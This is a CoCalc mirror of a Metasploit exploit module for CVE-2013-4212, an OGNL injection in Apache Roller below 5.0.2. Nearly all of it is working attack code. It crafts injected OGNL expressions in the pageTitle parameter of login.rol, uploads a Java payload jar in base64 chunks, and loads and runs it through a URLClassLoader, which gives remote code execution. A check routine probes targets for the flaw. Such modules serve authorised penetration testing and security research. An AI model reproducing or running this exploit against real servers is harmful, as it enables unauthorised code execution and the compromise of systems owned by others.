CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/apache_roller_ognl_injection.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Apache Roller OGNL Injection',
15
'Description' => %q{
16
This module exploits an OGNL injection vulnerability in Apache Roller < 5.0.2. The
17
vulnerability is due to an OGNL injection on the UIAction controller because of an
18
insecure usage of the ActionSupport.getText method. This module has been tested
19
successfully on Apache Roller 5.0.1 on Ubuntu 10.04.
20
},
21
'Author' =>
22
[
23
'Unknown', # From coverity.com / Vulnerability discovery
24
'juan vazquez' # Metasploit module
25
],
26
'License' => MSF_LICENSE,
27
'References' =>
28
[
29
[ 'CVE', '2013-4212'],
30
[ 'URL', 'http://security.coverity.com/advisory/2013/Oct/remote-code-execution-in-apache-roller-via-ognl-injection.html']
31
],
32
'Platform' => 'java',
33
'Arch' => ARCH_JAVA,
34
'Privileged' => true,
35
'Targets' =>
36
[
37
[ 'Apache Roller 5.0.1', { } ]
38
],
39
'DisclosureDate' => '2013-10-31',
40
'DefaultTarget' => 0))
41
42
register_options(
43
[
44
Opt::RPORT(8080),
45
OptString.new('TARGETURI', [ true, 'The path to the Apache Roller application.', "/roller"])
46
])
47
end
48
49
def execute_command(cmd)
50
injection = "%24{(%23_memberAccess[\"allowStaticMethodAccess\"]%3dtrue,CMD,'')}"
51
injection.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
52
53
vprint_status("Attempting to execute: #{cmd}")
54
55
res = send_request_cgi({
56
'method' => 'GET',
57
'uri' => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"),
58
'encode_params' => false,
59
'vars_get' =>
60
{
61
'pageTitle' => injection
62
}
63
})
64
end
65
66
def java_upload_part(part, filename, append = 'false')
67
cmd = "#f=new java.io.FileOutputStream('#{filename}'+#a,#{append}),"
68
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
69
cmd << "#f.close(),#a='#{@random_suffix}'"
70
execute_command(cmd)
71
end
72
73
def exploit
74
75
print_status("Checking injection...")
76
77
if check == Exploit::CheckCode::Vulnerable
78
print_good("Target looks vulnerable, exploiting...")
79
else
80
print_warning("Target not found as vulnerable, trying anyway...")
81
end
82
83
@random_suffix = rand_text_alphanumeric(3) # To avoid duplicate execution
84
@payload_exe = rand_text_alphanumeric(4+rand(4)) + ".jar"
85
append = 'false'
86
jar = payload.encoded_jar.pack
87
88
chunk_length = 384 # 512 bytes when base64 encoded
89
90
parts = jar.chars.each_slice(chunk_length).map(&:join)
91
parts.each do |part|
92
java_upload_part(part, @payload_exe, append)
93
append = 'true'
94
end
95
96
register_files_for_cleanup("#{@payload_exe}null", "#{@payload_exe}#{@random_suffix}")
97
98
cmd = ""
99
# disable Vararg handling (since it is buggy in OGNL used by Struts 2.1
100
cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
101
cmd << "#q.setAccessible(true),#q.set(null,true),"
102
cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
103
cmd << "#q.setAccessible(true),#q.set(null,false),"
104
# create classloader
105
cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}'+#a).toURI().toURL()}),#a='#{rand_text_alphanumeric(4)}',"
106
# load class
107
cmd << "#c=#cl.loadClass('metasploit.Payload'),"
108
# invoke main method
109
cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
110
cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
111
execute_command(cmd)
112
end
113
114
def check
115
addend_one = rand_text_numeric(rand(3) + 1).to_i
116
addend_two = rand_text_numeric(rand(3) + 1).to_i
117
sum = addend_one + addend_two
118
119
res = send_request_cgi({
120
'method' => 'GET',
121
'uri' => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"),
122
'vars_get' =>
123
{
124
'pageTitle' => "${new java.lang.Integer(#{addend_one}+#{addend_two})}",
125
}
126
})
127
128
if res and res.code == 200 and res.body =~ /#{sum}/
129
return Exploit::CheckCode::Vulnerable
130
end
131
132
return Exploit::CheckCode::Safe
133
end
134
end
135
136